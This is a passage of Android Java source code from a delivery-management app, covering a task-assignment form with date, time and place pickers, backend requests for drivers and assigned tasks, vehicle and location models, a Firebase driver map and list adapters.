public void onTimeSet(TimePicker timePicker, int selectedHour, int selectedMinute) {
Log.d("Time",selectedHour + ":"+ selectedMinute);
if(selectedHour < 10){
selectedHourFinal[0] = "0"+ selectedHour;
}
if(selectedMinute < 10){
selectedMinuteFinal[0] = "0"+selectedMinute;
}
if(selectedHour >= 10){
selectedHourFinal[0] = String.valueOf(selectedHour);
}
if(selectedMinute >= 10){
selectedMinuteFinal[0] = String.valueOf(selectedMinute);
}
startHour = selectedHourFinal[0];
startMinute = selectedMinuteFinal[0];
tvStartDate.setText((selectedyear +"-"+(selectedmonth+1)+"-"+selectedday) + " " + startHour + ":" + startMinute);
}
}, hour, minute, false);
mTimePicker.setTitle("Select Start Time");
mTimePicker.show();
}
},mYear, mMonth, mDay);
//mDatePicker.getWindow().setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));
mDatePicker.setTitle("Select Start Date");
mDatePicker.show();
}
});
tvEndDate.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
}
});
tvPickUp.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
PlacePicker.IntentBuilder builder = new PlacePicker.IntentBuilder();
try {
startActivityForResult(builder.build(getActivity()), PLACE_PICKER_REQUEST);
} catch (GooglePlayServicesRepairableException | GooglePlayServicesNotAvailableException e) {
e.printStackTrace();
}
}
});
tvDropOff.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
PlacePicker.IntentBuilder builder = new PlacePicker.IntentBuilder();
try {
startActivityForResult(builder.build(getActivity()), PLACE_PICKER_REQUEST2);
} catch (GooglePlayServicesRepairableException | GooglePlayServicesNotAvailableException e) {
e.printStackTrace();
}
}
});*/
/*Task task1 = new Task("3569","Not Assigned", "09-09-2017", "10-11 AM", "B-25, Industrial Area, Sector-32, Gurgaon","K9/101, Uppal Southend, Sector-48, Gurgaon","9958808464","9451133507");
Task task2 = new Task("3570","Not Assigned", "10-09-2017", "4-6 PM", "D-455, Artimis Hospital, Sector-53, Gurgaon","S-111, Vatika City Homes, Sector-83, Gurgaon","9958808464","9451133507");
Task task3 = new Task("3571","Not Assigned", "12-09-2017", "2-6 PM", "A13/202, <NAME>ens, Sector-84, Gurgaon","G1/2-543, Malibu Town, Sector-51, Gurgaon","9958808464","9451133507");
Task task4 = new Task("3572","Not Assigned", "17-09-2017", "8-11 AM", "C-505, Bestech Tower, Sector-72, Gurgaon","H8, Industrial Area, Sector-32, Gurgaon","9958808464","9451133507");
Task task5 = new Task("3573","Not Assigned", "11-09-2017", "3-9 PM", "H1-606, Vatika Business Park, Sector-12, Gurgaon","P-19, Sushant Lok, Sector-9, Gurgaon","9958808464","9451133507");
taskList.add(task1);
taskList.add(task2);
taskList.add(task3);
taskList.add(task4);
taskList.add(task5);
recyclerView = (RecyclerView)view.findViewById(R.id.recycler);
layoutManager = new LinearLayoutManager(getContext());
recyclerView.setHasFixedSize(true);
recyclerView.setLayoutManager(layoutManager);
mAdapter = new NewTaskAdapter(getContext(), taskList);
recyclerView.setAdapter(mAdapter);*/
return view;
}
public void onActivityResult(int requestCode, int resultCode, Intent data) {
if (requestCode == PLACE_PICKER_REQUEST) {
if (resultCode == RESULT_OK) {
Place place = PlacePicker.getPlace(data, getContext());
String toastMsg = String.format("Place: %s", place.getName());
pickUp.setText(place.getAddress());
Toast.makeText(getContext(), toastMsg, Toast.LENGTH_LONG).show();
pickupLat = String.valueOf(place.getLatLng().latitude);
pickupLang = String.valueOf(place.getLatLng().longitude);
}
}else if (requestCode == PLACE_PICKER_REQUEST2) {
if (resultCode == RESULT_OK) {
Place place = PlacePicker.getPlace(data, getContext());
String toastMsg = String.format("Place: %s", place.getName());
dropOff.setText(place.getAddress());
Toast.makeText(getContext(), toastMsg, Toast.LENGTH_LONG).show();
dropoffLat = String.valueOf(place.getLatLng().latitude);
dropoffLang = String.valueOf(place.getLatLng().longitude);
}
}
}
private void dateTimePicker(final EditText edtDate1) {
Calendar mcurrentDate=Calendar.getInstance();
final int mYear = mcurrentDate.get(Calendar.YEAR);
int mMonth=mcurrentDate.get(Calendar.MONTH);
int mDay=mcurrentDate.get(Calendar.DAY_OF_MONTH);
final String[] timeStamp = {""};
DatePickerDialog mDatePicker=new DatePickerDialog(getActivity(), new DatePickerDialog.OnDateSetListener() {
public void onDateSet(DatePicker datepicker, final int selectedyear, final int selectedmonth, final int selectedday) {
final String[] selectedHourFinal = new String[1];
final String[] selectedMinuteFinal = new String[1];
Calendar mcurrentTime = Calendar.getInstance();
int hour = mcurrentTime.get(Calendar.HOUR_OF_DAY);
int minute = mcurrentTime.get(Calendar.MINUTE);
TimePickerDialog mTimePicker;
mTimePicker = new TimePickerDialog(getContext(), new TimePickerDialog.OnTimeSetListener() {
@Override
public void onTimeSet(TimePicker timePicker, int selectedHour, int selectedMinute) {
if(selectedHour < 10){
selectedHourFinal[0] = "0"+ selectedHour;
}
if(selectedMinute < 10){
selectedMinuteFinal[0] = "0"+selectedMinute;
}
if(selectedHour >= 10){
selectedHourFinal[0] = String.valueOf(selectedHour);
}
if(selectedMinute >= 10){
selectedMinuteFinal[0] = String.valueOf(selectedMinute);
}
startHour = selectedHourFinal[0];
startMinute = selectedMinuteFinal[0];
//timeStamp[0] = String.valueOf(new SimpleDateFormat(selectedyear +"-"+selectedmonth+"-"+selectedday+"'T'"+startHour+":"+startMinute+":00'Z'"));
//Log.d("TimeStamp",timeStamp[0]);
edtDate1.setText((selectedyear +"-"+(selectedmonth+1)+"-"+selectedday) + " " + startHour + ":" + startMinute);
}
}, hour, minute, false);
mTimePicker.setTitle("Select Start Time");
mTimePicker.show();
}
},mYear, mMonth, mDay);
//mDatePicker.getWindow().setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));
mDatePicker.setTitle("Select Start Date");
mDatePicker.show();
}
@Override
public View createStepContentView(int stepNumber) {
View view = null;
switch (stepNumber) {
case 0:
view = createPickUpAddress();
break;
case 1:
view = createDropoffAddress();
break;
case 2:
view = createStartDateTimePicker();
break;
case 3:
view = createEndDateTimePicker();
break;
case 4:
view = createDeliveryDetailsView();
break;
case 5:
view = createVehicleTypeStep();
break;
case 6:
view = createDeliveryAgentStep();
break;
}
return view;
}
private View createDeliveryAgentStep() {
deliveryAgent = new Spinner(getContext());
//vehicleType.setOnItemSelectedListener();
agentDataAdapter = new ArrayAdapter<>(getContext(), android.R.layout.simple_spinner_item, driverData);
agentDataAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
deliveryAgent.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
@Override
public void onItemSelected(AdapterView<?> adapterView, View view, int i, long l) {
selectedDriverID = driverDetails.get(i).getDriverId();
}
@Override
public void onNothingSelected(AdapterView<?> adapterView) {
}
});
return deliveryAgent;
}
private View createVehicleTypeStep() {
vehicleType = new Spinner(getContext());
//vehicleType.setOnItemSelectedListener();
ArrayAdapter<String> vehicleDataAdapter = new ArrayAdapter<>(getContext(), android.R.layout.simple_spinner_item, vehicleTypeData);
vehicleDataAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
vehicleType.setAdapter(vehicleDataAdapter);
vehicleType.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
@Override
public void onItemSelected(AdapterView<?> adapterView, View view, int i, long l) {
selectedVehicleType = vehicleTypeData[i];
}
@Override
public void onNothingSelected(AdapterView<?> adapterView) {
}
});
return vehicleType;
}
private View createDeliveryDetailsView() {
LayoutInflater inflater = LayoutInflater.from(getContext());
LinearLayout deliveryLayout = (LinearLayout) inflater.inflate(R.layout.delivery_details, null, false);
deliverToName = (EditText)deliveryLayout.findViewById(R.id.deliver_person_name);
deliverToContact = (EditText)deliveryLayout.findViewById(R.id.deliver_person_contact);
deliverToAdditionalDetails = (EditText)deliveryLayout.findViewById(R.id.deliver_additional_info);
return deliveryLayout;
}
private View createEndDateTimePicker() {
endDateTime = new EditText(getContext());
endDateTime.setSingleLine(false);
endDateTime.setHint("Select End Date & Time");
endDateTime.setFocusable(false);
endDateTime.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
dateTimePicker(endDateTime);
}
});
return endDateTime;
}
private View createStartDateTimePicker() {
startDateTime = new EditText(getContext());
startDateTime.setSingleLine(false);
startDateTime.setHint("Select Start Date & Time");
startDateTime.setFocusable(false);
startDateTime.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
dateTimePicker(startDateTime);
//Log.d("Start TimeStamp", startTimeStamp);
}
});
return startDateTime;
}
private View createDropoffAddress() {
dropOff = new EditText(getContext());
dropOff.setSingleLine(false);
dropOff.setFocusable(false);
dropOff.setHint("Select Dropoff Address");
dropOff.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
PlacePicker.IntentBuilder builder = new PlacePicker.IntentBuilder();
try {
startActivityForResult(builder.build(getActivity()), PLACE_PICKER_REQUEST2);
} catch (GooglePlayServicesRepairableException | GooglePlayServicesNotAvailableException e) {
e.printStackTrace();
}
}
});
return dropOff;
}
private View createPickUpAddress() {
pickUp = new EditText(getContext());
pickUp.setSingleLine(false);
pickUp.setHint("Select Pickup Address");
pickUp.setFocusable(false);
pickUp.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
PlacePicker.IntentBuilder builder = new PlacePicker.IntentBuilder();
try {
startActivityForResult(builder.build(getActivity()), PLACE_PICKER_REQUEST);
} catch (GooglePlayServicesRepairableException | GooglePlayServicesNotAvailableException e) {
e.printStackTrace();
}
}
});
return pickUp;
}
@Override
public void onStepOpening(int stepNumber) {
switch (stepNumber) {
case 0:
verticalStepperForm.setActiveStepAsCompleted();
break;
case 1:
verticalStepperForm.setActiveStepAsCompleted();
break;
case 2:
verticalStepperForm.setActiveStepAsCompleted();
break;
case 3:
verticalStepperForm.setActiveStepAsCompleted();
break;
case 4:
verticalStepperForm.setActiveStepAsCompleted();
break;
case 5:
verticalStepperForm.setActiveStepAsCompleted();
break;
case 6:
verticalStepperForm.setActiveStepAsCompleted();
break;
}
}
private void getDriverList(){
/*final ProgressDialog progressDialog = ProgressDialog.show(this, "Adding New Driver", "Please wait while we are adding a new profile to our database");
progressDialog.show();*/
RequestBody requestBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("token", "")
.build();
Request request = new Request.Builder().url(getResources().getString(R.string.base_url)+"/trucky/driver/get_driver").addHeader("token","<KEY>").post(requestBody).build();
okhttp3.Call call = client.newCall(request);
call.enqueue(new Callback() {
public static final String MODE_PRIVATE = "";
@Override
public void onFailure(Call call, IOException e) {
System.out.println("Registration Error" + e.getMessage());
/*showToast("Failed");
progressDialog.dismiss();*/
}
@Override
public void onResponse(Call call, okhttp3.Response response) throws IOException {
try {
String resp = response.body().string();
try {
JSONObject jsonObject = new JSONObject(resp);
JSONObject jsonResponse = jsonObject.getJSONObject("Response");
JSONObject dataObject = jsonResponse.getJSONObject("data");
JSONArray dataArray = dataObject.getJSONArray("driver_list");
for(int i=0; i< dataArray.length();i++){
JSONObject jsonObject1 = dataArray.getJSONObject(i);
String driverName = jsonObject1.getString("driver_name");
String driverId = jsonObject1.getString("driver_id");
String driverVehicleType = jsonObject1.getString("driver_vehicle_type");
String driverDutyStatus = jsonObject1.getString("driver_duty_status");
DriverInfo driverInfo = new DriverInfo(driverId, driverName, driverVehicleType, driverDutyStatus);
driverDetails.add(driverInfo);
}
for(int k=0; k<driverDetails.size();k++){
driverData.add(driverDetails.get(k).getDriverName());
}
deliveryAgent.setAdapter(agentDataAdapter);
} catch (JSONException e) {
e.printStackTrace();
}
/*progressDialog.dismiss();
showToast("Success");*/
Log.d("response",resp);
} catch (IOException e) {
/* progressDialog.dismiss();
showToast("Failed");*/
// Log.e(TAG_REGISTER, "Exception caught: ", e);
System.out.println("Exception caught" + e.getMessage());
}
}
});
}
@Override
public void sendData() {
final ProgressDialog progressDialog = ProgressDialog.show(getContext(), "Assigning New Task", "Please Wait, Assigning new task");
progressDialog.show();
RequestBody requestBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("task_pickup_address", pickUp.getText().toString())
.addFormDataPart("task_pickup_latitude", pickupLat)
.addFormDataPart("task_pickup_longitude", pickupLang)
.addFormDataPart("task_dropoff_address", dropOff.getText().toString())
.addFormDataPart("task_dropoff_latitude", dropoffLat)
.addFormDataPart("task_dropoff_longitude", dropoffLang)
.addFormDataPart("task_start_datetime", startDateTime.getText().toString())
.addFormDataPart("task_start_timestamp", "")
.addFormDataPart("task_end_datetime", endDateTime.getText().toString())
.addFormDataPart("task_end_timestamp", "")
.addFormDataPart("task_delivery_person_name", deliverToName.getText().toString())
.addFormDataPart("task_delivery_person_contact", deliverToContact.getText().toString())
.addFormDataPart("task_delivery_person_address", deliverToAdditionalDetails.getText().toString())
.addFormDataPart("task_vehicle_type", selectedVehicleType)
.addFormDataPart("task_driver_id", selectedDriverID)
.build();
Request request = new Request.Builder().url(getResources().getString(R.string.base_url)+"/trucky/task/assign").addHeader("token","<KEY>").post(requestBody).build();
okhttp3.Call call = client.newCall(request);
call.enqueue(new Callback() {
public static final String MODE_PRIVATE = "";
@Override
public void onFailure(Call call, IOException e) {
System.out.println("Registration Error" + e.getMessage());
showToast("Failed");
progressDialog.dismiss();
}
@Override
public void onResponse(Call call, okhttp3.Response response) throws IOException {
try {
String resp = response.body().string();
progressDialog.dismiss();
Intent intent = new Intent(getContext(), MainActivity.class);
startActivity(intent);
showToast("Success");
Log.d("response",resp);
} catch (IOException e) {
progressDialog.dismiss();
showToast("Failed");
// Log.e(TAG_REGISTER, "Exception caught: ", e);
System.out.println("Exception caught" + e.getMessage());
}
}
});
}
private void showToast(final String s){
getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(getContext(), s, Toast.LENGTH_SHORT).show();
}
});
}
}<file_sep>/app/src/main/java/com/rstintl/docta/deliveryApp/Models/UserFirebase.java
package com.rstintl.docta.deliveryApp.Models;
/**
* Created by Ashish on 07-09-2017.
*/
public class UserFirebase {
String name;
String status;
double latitude;
double longitude;
public UserFirebase(double latitute, double longitude, String name, String status){
this.latitude = latitute;
this.longitude = longitude;
this.name = name;
this.status = status;
}
public UserFirebase(){
}
public String getName(){
return name;
}
public void setName(String name){
this.name = name;
}
public String getStatus(){
return status;
}
public void setStatus(String status){
this.status = status;
}
public double getLatitute(){
return latitude;
}
public void setLatitute(double latitute){
this.latitude = latitute;
}
public double getLongitude(){
return longitude;
}
public void setLongitude(double longitude){
this.longitude = longitude;
}
}
<file_sep>/app/src/main/java/com/rstintl/docta/deliveryApp/Fragments/ItemTwoFragment.java
package com.rstintl.docta.deliveryApp.Fragments;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import com.rstintl.docta.deliveryApp.Adapters.DeliveryAdapter;
import com.rstintl.docta.deliveryApp.Adapters.DriverAdapter;
import com.rstintl.docta.deliveryApp.Models.AssignedTask;
import com.rstintl.docta.deliveryApp.Models.DriverInfo;
import com.rstintl.docta.deliveryApp.Models.InProgress;
import com.rstintl.docta.deliveryApp.R;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.MultipartBody;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
/**
* Created by Ashish on 31-08-2017.
*/
public class ItemTwoFragment extends Fragment {
RecyclerView recyclerView;
LinearLayoutManager layoutManager;
DeliveryAdapter mAdapter;
View view;
OkHttpClient client = new OkHttpClient();
List<AssignedTask> taskList = new ArrayList<>();
public static ItemTwoFragment newInstance() {
ItemTwoFragment fragment = new ItemTwoFragment();
return fragment;
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
view = inflater.inflate(R.layout.fragment_two, container, false);
getTaskList();
/*InProgress task1 = new InProgress("3569","Out For Delivery", "09-09-2017", "10-11 AM",28.4560583,77.0737073,28.5570583,77.4040073,"<NAME>","9451133507");
InProgress task2 = new InProgress("3569","Out For Delivery", "12-09-2017", "07-11 AM",28.4560583,77.0737073,28.5570583,77.4040073,"<NAME>","7586953426");
InProgress task3 = new InProgress("3569","Assigned", "18-09-2017", "03-11 PM",28.4560583,77.0737073,28.4570583,77.4037073,"<NAME>","8566532635");
InProgress task4 = new InProgress("3569","Out For Delivery", "16-09-2017", "10-11 PM",28.4560583,77.0737073,28.4560583,77.0737073,"<NAME>","9999697915");
taskList.add(task1);
taskList.add(task2);
taskList.add(task3);
taskList.add(task4);*/
recyclerView = (RecyclerView)view.findViewById(R.id.recycler);
layoutManager = new LinearLayoutManager(getContext());
recyclerView.setHasFixedSize(true);
recyclerView.setLayoutManager(layoutManager);
mAdapter = new DeliveryAdapter(getContext(), taskList);
return view;
}
private void getTaskList(){
/*final ProgressDialog progressDialog = ProgressDialog.show(this, "Adding New Driver", "Please wait while we are adding a new profile to our database");
progressDialog.show();*/
RequestBody requestBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("token", "")
.build();
Request request = new Request.Builder().url(getResources().getString(R.string.base_url)+"/trucky/task/get_all_assign").addHeader("token","<KEY>").post(requestBody).build();
okhttp3.Call call = client.newCall(request);
call.enqueue(new Callback() {
public static final String MODE_PRIVATE = "";
@Override
public void onFailure(Call call, IOException e) {
System.out.println("Registration Error" + e.getMessage());
/*showToast("Failed");
progressDialog.dismiss();*/
}
@Override
public void onResponse(Call call, okhttp3.Response response) throws IOException {
try {
String resp = response.body().string();
try {
JSONObject jsonObject = new JSONObject(resp);
JSONObject jsonResponse = jsonObject.getJSONObject("Response");
JSONObject dataObject = jsonResponse.getJSONObject("data");
JSONArray dataArray = dataObject.getJSONArray("assigned_task");
for(int i=0; i< dataArray.length();i++){
JSONObject jsonObject1 = dataArray.getJSONObject(i);
if(Objects.equals(jsonObject1.getString("task_status"), "1") || Objects.equals(jsonObject1.getString("task_status"), "2")){
String taskId = jsonObject1.getString("task_id");
String taskPickupAddress = jsonObject1.getString("task_pickup_address");
double taskPickupLattitude = jsonObject1.getDouble("task_pickup_latitude");
double taskPickupLongitude = jsonObject1.getDouble("task_pickup_longitude");
String taskDropoffAddress = jsonObject1.getString("task_dropoff_address");
double taskDropoffLatitute = jsonObject1.getDouble("task_dropoff_latitude");
double taskDropoffLongitude = jsonObject1.getDouble("task_dropoff_longitude");
String taskStartDateTime = jsonObject1.getString("task_start_datetime");
String taskEndDateTime = jsonObject1.getString("task_end_datetime");
String taskStatus = jsonObject1.getString("task_status");
String driverName = jsonObject1.getString("driver_name");
String driverContact = jsonObject1.getString("driver_contact");
String nameDropoff =jsonObject1.getString("task_delivery_person_name");
AssignedTask assignedTask = new AssignedTask(taskId,taskPickupAddress,taskPickupLattitude,taskPickupLongitude,taskDropoffAddress, taskDropoffLatitute, taskDropoffLongitude, taskStartDateTime, taskEndDateTime, taskStatus, driverName, driverContact, nameDropoff);
taskList.add(assignedTask);
}
}
//Log.d("Size List", String.valueOf(taskList.size()));
if(getActivity() != null){
getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
recyclerView.setAdapter(mAdapter);
}
});
}
} catch (JSONException e) {
e.printStackTrace();
}
/*progressDialog.dismiss();
showToast("Success");*/
Log.d("response",resp);
} catch (IOException e) {
/* progressDialog.dismiss();
showToast("Failed");*/
// Log.e(TAG_REGISTER, "Exception caught: ", e);
System.out.println("Exception caught" + e.getMessage());
}
}
});
}
}
<file_sep>/app/src/main/java/com/rstintl/docta/deliveryApp/Models/VehicleList.java
package com.rstintl.docta.deliveryApp.Models;
import android.icu.text.StringPrepParseException;
import com.google.gson.annotations.Expose;
import com.google.gson.annotations.SerializedName;
/**
* Created by Ashish on 08-09-2017.
*/
public class VehicleList {
@SerializedName("vehicle_id")
@Expose
private String vehicleId;
@SerializedName("vehicle_name")
@Expose
private String vehicleName;
@SerializedName("vehicle_number")
@Expose
private String vehicleNumber;
@SerializedName("vehicle_type")
@Expose
private String vehicleType;
@SerializedName("vehicle_maximum_load")
@Expose
private String vehicleMaximumLoad;
@SerializedName("vehicle_last_service_date")
@Expose
private String vehicleLastServiceDate;
@SerializedName("vehicle_next_service_date")
@Expose
private String vehicleNextServiceDate;
@SerializedName("vehicle_insurance_end_date")
@Expose
private String vehicleInsuranceEndDate;
@SerializedName("vehicle_refrigerated")
@Expose
private String vehicleRefrigerated;
@SerializedName("vehicle_pest_control")
@Expose
private String vehiclePestControl;
@SerializedName("vehicle_water_proof")
@Expose
private String vehicleWaterProof;
@SerializedName("vehicle_created")
@Expose
private String vehicleCreated;
public String getVehicleId() {
return vehicleId;
}
public void setVehicleId(String vehicleId) {
this.vehicleId = vehicleId;
}
public String getVehicleName() {
return vehicleName;
}
public void setVehicleName(String vehicleName) {
this.vehicleName = vehicleName;
}
public String getVehicleNumber() {
return vehicleNumber;
}
public void setVehicleNumber(String vehicleNumber) {
this.vehicleNumber = vehicleNumber;
}
public String getVehicleType() {
return vehicleType;
}
public void setVehicleType(String vehicleType) {
this.vehicleType = vehicleType;
}
public String getVehicleMaximumLoad() {
return vehicleMaximumLoad;
}
public void setVehicleMaximumLoad(String vehicleMaximumLoad) {
this.vehicleMaximumLoad = vehicleMaximumLoad;
}
public String getVehicleLastServiceDate() {
return vehicleLastServiceDate;
}
public void setVehicleLastServiceDate(String vehicleLastServiceDate) {
this.vehicleLastServiceDate = vehicleLastServiceDate;
}
public String getVehicleNextServiceDate() {
return vehicleNextServiceDate;
}
public void setVehicleNextServiceDate(String vehicleNextServiceDate) {
this.vehicleNextServiceDate = vehicleNextServiceDate;
}
public String getVehicleInsuranceEndDate() {
return vehicleInsuranceEndDate;
}
public void setVehicleInsuranceEndDate(String vehicleInsuranceEndDate) {
this.vehicleInsuranceEndDate = vehicleInsuranceEndDate;
}
public String getVehicleRefrigerated() {
return vehicleRefrigerated;
}
public void setVehicleRefrigerated(String vehicleRefrigerated) {
this.vehicleRefrigerated = vehicleRefrigerated;
}
public String getVehiclePestControl() {
return vehiclePestControl;
}
public void setVehiclePestControl(String vehiclePestControl) {
this.vehiclePestControl = vehiclePestControl;
}
public String getVehicleWaterProof() {
return vehicleWaterProof;
}
public void setVehicleWaterProof(String vehicleWaterProof) {
this.vehicleWaterProof = vehicleWaterProof;
}
public String getVehicleCreated() {
return vehicleCreated;
}
public void setVehicleCreated(String vehicleCreated) {
this.vehicleCreated = vehicleCreated;
}
public VehicleList(String vehicleId, String vehicleName,String vehicleType){
this.vehicleId = vehicleId;
this.vehicleName = vehicleName;
this.vehicleType = vehicleType;
}
}
<file_sep>/app/src/main/java/com/rstintl/docta/deliveryApp/Activities/AllDriverActivity.java
package com.rstintl.docta.deliveryApp.Activities;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.drawable.BitmapDrawable;
import android.support.design.widget.FloatingActionButton;
import android.support.v4.app.FragmentActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.TextView;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.OnMapReadyCallback;
import com.google.android.gms.maps.SupportMapFragment;
import com.google.android.gms.maps.model.BitmapDescriptorFactory;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.MapStyleOptions;
import com.google.android.gms.maps.model.Marker;
import com.google.android.gms.maps.model.MarkerOptions;
import com.google.firebase.database.ChildEventListener;
import com.google.firebase.database.DataSnapshot;
import com.google.firebase.database.DatabaseError;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.rstintl.docta.deliveryApp.Models.UserFirebase;
import com.rstintl.docta.deliveryApp.R;
import java.util.ArrayList;
import java.util.List;
public class AllDriverActivity extends FragmentActivity implements OnMapReadyCallback {
private GoogleMap mMap;
DatabaseReference myRef;
FirebaseDatabase database;
List<UserFirebase> users = new ArrayList<>();
Marker currentLocationMarker;
TextView tvOnlineDrivers;
FloatingActionButton fab;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_all_driver);
SupportMapFragment mapFragment = (SupportMapFragment) getSupportFragmentManager()
.findFragmentById(R.id.map);
mapFragment.getMapAsync(this);
tvOnlineDrivers = (TextView)findViewById(R.id.tv_online_driver);
fab = (FloatingActionButton)findViewById(R.id.fab);
fab.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(getApplicationContext(), AllDriverActivity.class);
startActivity(intent);
}
});
database = FirebaseDatabase.getInstance();
myRef = database.getReference("location");
}
@Override
public void onBackPressed() {
Intent intent = new Intent(getApplicationContext(), ManageActivity.class);
startActivity(intent);
}
@Override
public void onMapReady(GoogleMap googleMap) {
mMap = googleMap;
mMap.setMapStyle(MapStyleOptions.loadRawResourceStyle(this,R.raw.style_map));
// mMap.setOnMarkerClickListener(this);
// Add a marker in Sydney and move the camera
myRef.addChildEventListener(new ChildEventListener() {
@Override
public void onChildAdded(DataSnapshot dataSnapshot, String s) {
getUpdates(dataSnapshot);
}
@Override
public void onChildChanged(DataSnapshot dataSnapshot, String s) {
}
@Override
public void onChildRemoved(DataSnapshot dataSnapshot) {
}
@Override
public void onChildMoved(DataSnapshot dataSnapshot, String s) {
}
@Override
public void onCancelled(DatabaseError databaseError) {
}
});
}
private void getUpdates(DataSnapshot dataSnapshot) {
users.clear();
for (DataSnapshot dataSnapshot1 : dataSnapshot.getChildren()) {
UserFirebase userFirebase = new UserFirebase(Double.parseDouble(dataSnapshot1.child("latitude").getValue().toString()),Double.parseDouble(dataSnapshot1.child("longitude").getValue().toString()),dataSnapshot1.child("name").getValue().toString(),dataSnapshot1.child("status").getValue().toString());
users.add(userFirebase);
}
BitmapDrawable bitmapdraw=(BitmapDrawable)getResources().getDrawable(R.mipmap.delivery_truck);
Bitmap b=bitmapdraw.getBitmap();
Bitmap smallMarker = Bitmap.createScaledBitmap(b, 84, 84, false);
for(int k=0; k<users.size(); k++){
currentLocationMarker = mMap.addMarker(new MarkerOptions().position(new LatLng(users.get(k).getLatitute(), users.get(k).getLongitude())).title(users.get(k).getName() + "(" + users.get(k).getStatus() + ")").icon(BitmapDescriptorFactory.fromBitmap(smallMarker)));
}
mMap.moveCamera(CameraUpdateFactory.newLatLngZoom(new LatLng(users.get(0).getLatitute(), users.get(0).getLongitude()), 9));
mMap.animateCamera(CameraUpdateFactory.zoomTo(9), 2000, null);
tvOnlineDrivers.setText(users.size() + " Drivers Nearby");
}
/*@Override
public boolean onMarkerClick(Marker marker) {
return false;
}*/
}
<file_sep>/app/src/main/java/com/rstintl/docta/deliveryApp/Adapters/DriverAdapter.java
package com.rstintl.docta.deliveryApp.Adapters;
import android.content.Context;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.TextView;
import com.rstintl.docta.deliveryApp.Models.DriverInfo;
import com.rstintl.docta.deliveryApp.Models.InProgress;
import com.rstintl.docta.deliveryApp.R;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
/**
* Created by Ashish on 06-09-2017.
*/
public class DriverAdapter extends RecyclerView.Adapter<DriverAdapter.MyViewHolder> {
private List<DriverInfo> driverList = new ArrayList<>();
private Context context;
public DriverAdapter(Context context, List<DriverInfo> driverList){
this.context = context;
this.driverList = driverList;
}
@Override
public MyViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_driver_view_type,parent,false);
MyViewHolder vh = new MyViewHolder(v);
return vh;
}
@Override
public void onBindViewHolder(MyViewHolder holder, int position) {
holder.tvDriverName.setText(driverList.get(position).getDriverName());
holder.tvvehicleType.setText("Vehicle Type: "+driverList.get(position).getDriverVehicleType());
if(Objects.equals(driverList.get(position).getDriverDutyStatus(), "1")){
holder.imgDutyStatus.setImageResource(R.drawable.online);
}else{
holder.imgDutyStatus.setImageResource(R.drawable.offline);
}
}
@Override
public int getItemCount() {
return driverList.size();
}
public class MyViewHolder extends RecyclerView.ViewHolder {
TextView tvDriverName, tvvehicleType;
ImageView imgDutyStatus;
public MyViewHolder(View itemView) {
super(itemView);
tvDriverName = (TextView)itemView.findViewById(R.id.tv_driver_name);
tvvehicleType = (TextView)itemView.findViewById(R.id.tv_driver_vehicle_type);
imgDutyStatus = (ImageView)itemView.findViewById(R.id.img_duty_status);
}
}
}
<file_sep>/app/src/main/java/com/rstintl/docta/deliveryApp/Adapters/DeliveryAdapter.java
package com.rstintl.docta.deliveryApp.Adapters;
import android.content.Context;
import android.content.Intent;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.TextView;
import com.rstintl.docta.deliveryApp.Activities.MapsActivity;
import com.rstintl.docta.deliveryApp.Models.AssignedTask;
import com.rstintl.docta.deliveryApp.Models.InProgress;
import com.rstintl.docta.deliveryApp.R;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
/**
* Created by Ashish on 01-09-2017.
*/
public class DeliveryAdapter extends RecyclerView.Adapter<DeliveryAdapter.MyViewHolder> {
private List<AssignedTask> taskList = new ArrayList<>();
private Context context;
public DeliveryAdapter(Context context, List<AssignedTask> taskList){
this.context = context;
this.taskList = taskList;
}
@Override
public MyViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
